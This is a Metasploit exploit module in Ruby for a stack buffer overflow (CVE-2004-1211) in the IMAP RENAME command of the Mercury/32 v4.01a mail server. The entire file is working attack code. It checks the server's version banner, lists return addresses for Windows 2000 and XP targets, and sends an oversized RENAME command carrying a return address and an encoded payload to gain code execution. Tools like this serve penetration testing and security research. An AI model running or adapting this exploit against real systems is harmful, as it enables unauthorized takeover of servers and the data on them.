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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Remote
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  Rank = AverageRanking
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  include Msf::Exploit::Remote::Imap
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  def initialize(info = {})
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    super(update_info(info,
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      'Name'           => 'Mercury/32 v4.01a IMAP RENAME Buffer Overflow',
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      'Description'    => %q{
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          This module exploits a stack buffer overflow vulnerability in the
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        Mercury/32 v.4.01a IMAP service.
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      },
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      'Author'         => [ 'MC' ],
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      'License'        => MSF_LICENSE,
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      'References'     =>
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        [
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          [ 'CVE', '2004-1211'],
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          [ 'OSVDB', '12508'],
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          [ 'BID', '11775'],
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          [ 'URL', 'http://www.nessus.org/plugins/index.php?view=single&id=15867'],
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        ],
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      'Privileged'     => true,
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      'DefaultOptions' =>
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        {
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          'EXITFUNC' => 'process',
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        },
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      'Payload'        =>
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        {
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          'Space'    => 500,
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          'BadChars' => "\x00\x0a\x0d\x20",
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          'StackAdjustment' => -3500,
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        },
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      'Platform'       => 'win',
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      'Targets'        =>
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        [
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          ['Windows 2000 SP4 English',   { 'Ret' => 0x7846107b }],
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          ['Windows XP Pro SP0 English', { 'Ret' => 0x77dc0df0 }],
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          ['Windows XP Pro SP1 English', { 'Ret' => 0x77e53877 }],
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        ],
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      'DisclosureDate' => '2004-11-29'))
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  end
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  def check
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    connect
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    resp = sock.get_once
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    disconnect
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    if (resp =~ /Mercury\/32 v4\.01a/)
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      return Exploit::CheckCode::Appears
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    end
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      return Exploit::CheckCode::Safe
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  end
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  def exploit
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    connect_login
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    sploit =  "a001 RENAME " + rand_text_alpha_upper(260)
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    sploit << [target.ret].pack('V') + payload.encoded
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    sock.put(sploit)
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    handler
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    disconnect
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  end
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end
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